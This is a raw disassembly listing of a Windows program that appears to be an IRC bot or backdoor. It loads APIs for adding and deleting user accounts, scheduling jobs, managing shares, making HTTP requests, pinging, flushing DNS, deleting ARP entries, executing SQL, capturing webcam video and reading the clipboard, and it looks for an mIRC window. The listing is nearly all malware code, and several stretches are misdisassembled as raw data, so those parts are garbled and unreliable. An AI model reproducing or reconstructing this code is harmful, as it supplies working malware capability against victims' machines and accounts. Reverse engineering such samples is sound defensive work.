push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_43A3FC, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_43A330, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_43A2D4, eax
call esi
cmp ds:dword_43A2F0, ebx
mov ds:dword_43A410, eax
jz loc_40918D
cmp ds:dword_43A41C, ebx
jz loc_40918D
cmp ds:dword_43A294, ebx
jz loc_40918D
cmp ds:dword_43A324, ebx
jz loc_40918D
cmp ds:dword_43A30C, ebx
jz loc_40918D
cmp ds:dword_43A2D8, ebx
jz loc_40918D
cmp ds:dword_43A3F8, ebx
jz loc_40918D
cmp ds:dword_43A414, ebx
jz loc_40918D
cmp ds:dword_43A320, ebx
jz loc_40918D
cmp ds:dword_43A404, ebx
jz loc_40918D
cmp ds:dword_43A3B8, ebx
jz loc_40918D
cmp ds:dword_43A378, ebx
jz loc_40918D
cmp ds:dword_43A374, ebx
jz loc_40918D
cmp ds:dword_43A2B4, ebx
jz short loc_40918D
cmp ds:dword_43A3C8, ebx
jz short loc_40918D
cmp ds:dword_43A3DC, ebx
jz short loc_40918D
cmp ds:dword_43A390, ebx
jz short loc_40918D
cmp ds:dword_43A350, ebx
jz short loc_40918D
cmp ds:dword_43A3A4, ebx
jz short loc_40918D
cmp ds:dword_43A360, ebx
jz short loc_40918D
cmp ds:dword_43A3A0, ebx
jz short loc_40918D
cmp ds:dword_43A40C, ebx
jz short loc_40918D
cmp ds:dword_43A358, ebx
jz short loc_40918D
cmp ds:dword_43A31C, ebx
jz short loc_40918D
cmp ds:dword_43A38C, ebx
jz short loc_40918D
cmp ds:dword_43A3FC, ebx
jz short loc_40918D
cmp ds:dword_43A330, ebx
jz short loc_40918D
cmp eax, ebx
jnz short loc_409197
jmp short loc_40918D
; ---------------------------------------------------------------------------
loc_409182: ; CODE XREF: sub_4089D6+501j
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A45C, eax
loc_40918D: ; CODE XREF: sub_4089D6+6A0j
; sub_4089D6+6ACj ...
mov ds:dword_43A458, 1
loc_409197: ; CODE XREF: sub_4089D6+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40929C
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_43A2BC, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_43A248, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_43A340, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_43A2F4, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_43A34C, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_43A310, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_43A288, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_43A280, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_43A290, eax
call esi
cmp ds:dword_43A2BC, ebx
mov ecx, ds:dword_43A310
mov ds:dword_43A3AC, eax
jz short loc_409278
cmp ds:dword_43A248, ebx
jz short loc_409278
cmp ds:dword_43A340, ebx
jz short loc_409278
cmp ds:dword_43A2F4, ebx
jz short loc_409278
cmp ds:dword_43A34C, ebx
jz short loc_409278
cmp ecx, ebx
jz short loc_409278
cmp ds:dword_43A288, ebx
jz short loc_409278
cmp ds:dword_43A280, ebx
jz short loc_409278
cmp ds:dword_43A290, ebx
jz short loc_409278
cmp eax, ebx
jnz short loc_409282
loc_409278: ; CODE XREF: sub_4089D6+860j
; sub_4089D6+868j ...
mov ds:dword_43A460, 1
loc_409282: ; CODE XREF: sub_4089D6+8A0j
cmp ecx, ebx
jz short loc_4092B7
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov ds:dword_43A328, eax
jnz short loc_4092B7
jmp short loc_4092B1
; ---------------------------------------------------------------------------
loc_40929C: ; CODE XREF: sub_4089D6+7CCj
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A464, eax
mov ds:dword_43A460, 1
loc_4092B1: ; CODE XREF: sub_4089D6+8C4j
mov ds:dword_43A328, ebx
loc_4092B7: ; CODE XREF: sub_4089D6+8AEj
; sub_4089D6+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409301
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_43A304, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_43A430, eax
call esi
cmp ds:dword_43A304, ebx
mov ds:dword_43A29C, eax
jz short loc_40930C
cmp ds:dword_43A430, ebx
jz short loc_40930C
cmp eax, ebx
jnz short loc_409316
jmp short loc_40930C
; ---------------------------------------------------------------------------
loc_409301: ; CODE XREF: sub_4089D6+8ECj
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A46C, eax
loc_40930C: ; CODE XREF: sub_4089D6+91Bj
; sub_4089D6+923j ...
mov ds:dword_43A468, 1
loc_409316: ; CODE XREF: sub_4089D6+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40940C
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_43A278, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_43A250, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_43A2C4, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_43A2F8, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_43A408, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_43A2B0, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_43A25C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_43A24C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_43A2E0, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_43A3D0, eax
call esi
cmp ds:dword_43A278, ebx
mov ds:dword_43A388, eax
jz short loc_409417
cmp ds:dword_43A250, ebx
jz short loc_409417
cmp ds:dword_43A2C4, ebx
jz short loc_409417
cmp ds:dword_43A2F8, ebx
jz short loc_409417
cmp ds:dword_43A408, ebx
jz short loc_409417
cmp ds:dword_43A2B0, ebx
jz short loc_409417
cmp ds:dword_43A25C, ebx
jz short loc_409417
cmp ds:dword_43A24C, ebx
jz short loc_409417
cmp ds:dword_43A2E0, ebx
jz short loc_409417
cmp ds:dword_43A3D0, ebx
jz short loc_409417
cmp eax, ebx
jnz short loc_409421
jmp short loc_409417
; ---------------------------------------------------------------------------
loc_40940C: ; CODE XREF: sub_4089D6+94Bj
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A474, eax
loc_409417: ; CODE XREF: sub_4089D6+9E6j
; sub_4089D6+9EEj ...
mov ds:dword_43A470, 1
loc_409421: ; CODE XREF: sub_4089D6+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409456
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_43A2A0, eax
call esi
cmp ds:dword_43A2A0, ebx
mov ds:dword_43A370, eax
jz short loc_409461
cmp eax, ebx
jnz short loc_40946B
jmp short loc_409461
; ---------------------------------------------------------------------------
loc_409456: ; CODE XREF: sub_4089D6+A56j
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A47C, eax
loc_409461: ; CODE XREF: sub_4089D6+A78j
; sub_4089D6+A7Ej
mov ds:dword_43A478, 1
loc_40946B: ; CODE XREF: sub_4089D6+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4094A0
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_43A3F4, eax
call esi
cmp ds:dword_43A3F4, ebx
mov ds:dword_43A3F0, eax
jz short loc_4094AB
cmp eax, ebx
jnz short loc_4094B5
jmp short loc_4094AB
; ---------------------------------------------------------------------------
loc_4094A0: ; CODE XREF: sub_4089D6+AA0j
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A484, eax
loc_4094AB: ; CODE XREF: sub_4089D6+AC2j
; sub_4089D6+AC8j
mov ds:dword_43A480, 1
loc_4094B5: ; CODE XREF: sub_4089D6+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409514
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_43A420, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_43A418, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_43A3E0, eax
call esi
cmp ds:dword_43A420, ebx
mov ds:dword_43A2B8, eax
jz short loc_40951F
cmp ds:dword_43A418, ebx
jz short loc_40951F
cmp ds:dword_43A3E0, ebx
jz short loc_40951F
cmp eax, ebx
jnz short loc_409529
jmp short loc_40951F
; ---------------------------------------------------------------------------
loc_409514: ; CODE XREF: sub_4089D6+AEAj
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A48C, eax
loc_40951F: ; CODE XREF: sub_4089D6+B26j
; sub_4089D6+B2Ej ...
mov ds:dword_43A488, 1
loc_409529: ; CODE XREF: sub_4089D6+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40955E
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_43A2EC, eax
call esi
cmp ds:dword_43A2EC, ebx
mov ds:dword_43A3EC, eax
jz short loc_409569
cmp eax, ebx
jnz short loc_409573
jmp short loc_409569
; ---------------------------------------------------------------------------
loc_40955E: ; CODE XREF: sub_4089D6+B5Ej
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A494, eax
loc_409569: ; CODE XREF: sub_4089D6+B80j
; sub_4089D6+B86j
mov ds:dword_43A490, 1
loc_409573: ; CODE XREF: sub_4089D6+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4095FC
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_43A3B4, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_43A400, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_43A33C, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_43A2FC, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_43A394, eax
call esi
cmp ds:dword_43A3B4, ebx
mov ds:dword_43A308, eax
jz short loc_409607
cmp ds:dword_43A400, ebx
jz short loc_409607
cmp ds:dword_43A33C, ebx
jz short loc_409607
cmp ds:dword_43A2FC, ebx
jz short loc_409607
cmp ds:dword_43A394, ebx
jz short loc_409607
cmp eax, ebx
jnz short loc_409611
jmp short loc_409607
; ---------------------------------------------------------------------------
loc_4095FC: ; CODE XREF: sub_4089D6+BA8j
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A49C, eax
loc_409607: ; CODE XREF: sub_4089D6+BFEj
; sub_4089D6+C06j ...
mov ds:dword_43A498, 1
loc_409611: ; CODE XREF: sub_4089D6+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409646
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov ds:dword_43A2D0, eax
call esi
cmp ds:dword_43A2D0, ebx
mov ds:dword_43A3A8, eax
jz short loc_409651
cmp eax, ebx
jnz short loc_40965B
jmp short loc_409651
; ---------------------------------------------------------------------------
loc_409646: ; CODE XREF: sub_4089D6+C46j
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A4A4, eax
loc_409651: ; CODE XREF: sub_4089D6+C68j
; sub_4089D6+C6Ej
mov ds:dword_43A4A0, 1
loc_40965B: ; CODE XREF: sub_4089D6+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4089D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409663 proc near ; CODE XREF: seg000:00412034p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp ds:dword_43A438, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4096AB
push ds:dword_43A43C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_4096AB: ; CODE XREF: sub_409663+1Aj
cmp ds:dword_43A440, esi
jz short loc_4096DF
push ds:dword_43A444
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_4096DF: ; CODE XREF: sub_409663+4Ej
cmp ds:dword_43A448, esi
jz short loc_409713
push ds:dword_43A44C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_409713: ; CODE XREF: sub_409663+82j
cmp ds:dword_43A450, esi
jz short loc_409747
push ds:dword_43A454
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_409747: ; CODE XREF: sub_409663+B6j
cmp ds:dword_43A458, esi
jz short loc_40977B
push ds:dword_43A45C
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_40977B: ; CODE XREF: sub_409663+EAj
cmp ds:dword_43A460, esi
jz short loc_4097AF
push ds:dword_43A464
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_4097AF: ; CODE XREF: sub_409663+11Ej
cmp ds:dword_43A468, esi
jz short loc_4097E3
push ds:dword_43A46C
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_4097E3: ; CODE XREF: sub_409663+152j
cmp ds:dword_43A470, esi
jz short loc_409817
push ds:dword_43A474
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_409817: ; CODE XREF: sub_409663+186j
cmp ds:dword_43A478, esi
jz short loc_40984B
push ds:dword_43A47C
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_40984B: ; CODE XREF: sub_409663+1BAj
cmp ds:dword_43A480, esi
jz short loc_40987F
push ds:dword_43A484
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_40987F: ; CODE XREF: sub_409663+1EEj
cmp ds:dword_43A488, esi
jz short loc_4098B3
push ds:dword_43A48C
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_4098B3: ; CODE XREF: sub_409663+222j
cmp ds:dword_43A490, esi
jz short loc_4098E7
push ds:dword_43A494
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_4098E7: ; CODE XREF: sub_409663+256j
cmp ds:dword_43A498, esi
jz short loc_40991B
push ds:dword_43A49C
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_40991B: ; CODE XREF: sub_409663+28Aj
cmp ds:dword_43A4A0, esi
jz short loc_40994F
push ds:dword_43A4A4
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 20h
loc_40994F: ; CODE XREF: sub_409663+2BEj
lea eax, [ebp+var_200]
push offset dword_4299D4
push eax
call sub_4154CD
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40997C
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_40997C: ; CODE XREF: sub_409663+302j
lea eax, [ebp+var_200]
push eax
call sub_40B151
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_409663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40998E proc near ; CODE XREF: seg000:0040DA89p
; seg000:0040DABDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_409A19
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_409A19
cmp [ebp+arg_8], esi
jz short loc_409A19
cmp byte ptr [eax], 0
jz short loc_409A19
push ebx
push edi
call sub_41FD5B
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_409A14
push [ebp+arg_4]
push edi
call sub_415AA0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_409A0D
sub eax, edi
push eax
push edi
push ebx
call sub_416D20
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_415CD0
push eax
push [ebp+arg_8]
push ebx
call sub_416EF0
push [ebp+arg_4]
call sub_415CD0
add eax, esi
push eax
push ebx
call sub_415BF0
push ebx
push edi
call sub_415BE0
add esp, 30h
mov esi, edi
loc_409A0D: ; CODE XREF: sub_40998E+3Cj
push ebx
call sub_415E1D
pop ecx
loc_409A14: ; CODE XREF: sub_40998E+2Bj
mov eax, esi
pop ebx
jmp short loc_409A1B
; ---------------------------------------------------------------------------
loc_409A19: ; CODE XREF: sub_40998E+Cj
; sub_40998E+13j ...
xor eax, eax
loc_409A1B: ; CODE XREF: sub_40998E+89j
pop edi
pop esi
pop ebp
retn
sub_40998E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A1F proc near ; CODE XREF: sub_40CCC1+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_415550
mov esi, [ebp+arg_0]
push esi
call sub_415CD0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_409A55
or eax, 0FFFFFFFFh
jmp short loc_409AC8
; ---------------------------------------------------------------------------
loc_409A55: ; CODE XREF: sub_409A1F+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_409A77
loc_409A61: ; CODE XREF: sub_409A1F+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_409A6E
cmp dl, 0Dh
jnz short loc_409A72
loc_409A6E: ; CODE XREF: sub_409A1F+48j
and byte ptr [ecx+esi], 0
loc_409A72: ; CODE XREF: sub_409A1F+4Dj
inc ecx
cmp ecx, eax
jl short loc_409A61
loc_409A77: ; CODE XREF: sub_409A1F+40j
xor edx, edx
push edi
test eax, eax
jle short loc_409AA8
lea edi, [ebp+var_7CC]
loc_409A84: ; CODE XREF: sub_409A1F+87j
cmp byte ptr [edx+esi], 0
jnz short loc_409AA3
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_409AA3
cmp ebx, 1F4h
jge short loc_409AA8
mov [edi], ecx
inc ebx
add edi, 4
loc_409AA3: ; CODE XREF: sub_409A1F+69j
; sub_409A1F+74j
inc edx
cmp edx, eax
jl short loc_409A84
loc_409AA8: ; CODE XREF: sub_409A1F+5Dj
; sub_409A1F+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_409AC6
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_4155B0
add esp, 0Ch
loc_409AC6: ; CODE XREF: sub_409A1F+8Ej
mov eax, ebx
loc_409AC8: ; CODE XREF: sub_409A1F+34j
pop esi
pop ebx
leave
retn
sub_409A1F endp
; =============== S U B R O U T I N E =======================================
sub_409ACC proc near ; CODE XREF: sub_409B26+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_409B05
push ebx
mov ebx, edi
loc_409AE9: ; CODE XREF: sub_409ACC+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_409B08
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_409AE9
pop ebx
loc_409B05: ; CODE XREF: sub_409ACC+18j
pop edi
pop esi
retn
sub_409ACC endp
; =============== S U B R O U T I N E =======================================
sub_409B08 proc near ; CODE XREF: sub_409ACC+25p
; sub_409B26+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_417173
cmp al, 61h
pop ecx
jl short loc_409B23
cmp al, 7Ah
jg short loc_409B23
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_409B23: ; CODE XREF: sub_409B08+Ej
; sub_409B08+12j
xor eax, eax
retn
sub_409B08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B26 proc near ; CODE XREF: sub_40B231+10p
; sub_40B263+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_415D50
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_415CD0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_415CD0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_409ACC
add esp, 14h
dec esi
mov edi, esi
loc_409B64: ; CODE XREF: sub_409B26+B6j
test esi, esi
jle short loc_409BE2
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417173
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_417173
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409BDA
loc_409B8A: ; CODE XREF: sub_409B26+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_409B08
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_409BAB
mov eax, ecx
loc_409BAB: ; CODE XREF: sub_409B26+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_409BDE
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_417173
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_417173
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_409B8A
loc_409BDA: ; CODE XREF: sub_409B26+62j
dec edi
dec esi
jmp short loc_409B64
; ---------------------------------------------------------------------------
loc_409BDE: ; CODE XREF: sub_409B26+8Aj
xor eax, eax
jmp short loc_409BE7
; ---------------------------------------------------------------------------
loc_409BE2: ; CODE XREF: sub_409B26+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_409BE7: ; CODE XREF: sub_409B26+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_409B26 endp
; ---------------------------------------------------------------------------
loc_409BEC: ; CODE XREF: seg000:00410985p
; seg000:0041158Cp
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_421088 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp-100h]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 3D0000h
add eax, 0FF00858Dh
; ---------------------------------------------------------------------------
db 0FFh
dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h
dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh
dd 858DE67Ch, 0FFFFFF00h, 0A8BE5056h, 0FF0043A4h, 74680875h
dd 6800429Bh, 200h, 0BDDCE856h, 0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_409C76 proc near ; CODE XREF: seg000:00411FC0p
push esi
push 0
call ds:dword_43A348 ; OpenClipboard
test eax, eax
jz short loc_409CAD
push 1
call ds:dword_43A368 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_409CAD
push edi
push esi
call ds:dword_4210D4 ; GlobalLock
push esi
mov edi, eax
call ds:dword_4210D0 ; GlobalUnlock
call ds:dword_43A3CC ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_409CAD: ; CODE XREF: sub_409C76+Bj
; sub_409C76+19j
xor eax, eax
pop esi
retn
sub_409C76 endp
; =============== S U B R O U T I N E =======================================
sub_409CB1 proc near ; CODE XREF: seg000:0041137Cp
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call ds:dword_43A384 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_409D2D
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 3D0000h
jmp near ptr 0F8CBF336h
; ---------------------------------------------------------------------------
dd 1F6856h, 0E857000Fh, 0FFFC6314h, 2474FFFDh, 53D88B14h
dd 0B7D4E8h, 56595900h, 0C868016Ah, 55000004h, 0A3D415FFh
dd 6A560043h, 4C96801h, 0FF550000h, 43A3D415h, 0E1E85300h
dd 1FFFC62h, 6C15FF57h, 6A004210h, 0EB5B5801h
db 2
; ---------------------------------------------------------------------------
loc_409D2D: ; CODE XREF: sub_409CB1+16j
xor eax, eax
pop edi
pop esi
pop ebp
retn
sub_409CB1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp-11Ch]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:dword_43A434 ; SearchPathA
test eax, eax
jz short near ptr loc_409DD1+1
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_421078
push 1
lea eax, [ebp-11Ch]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
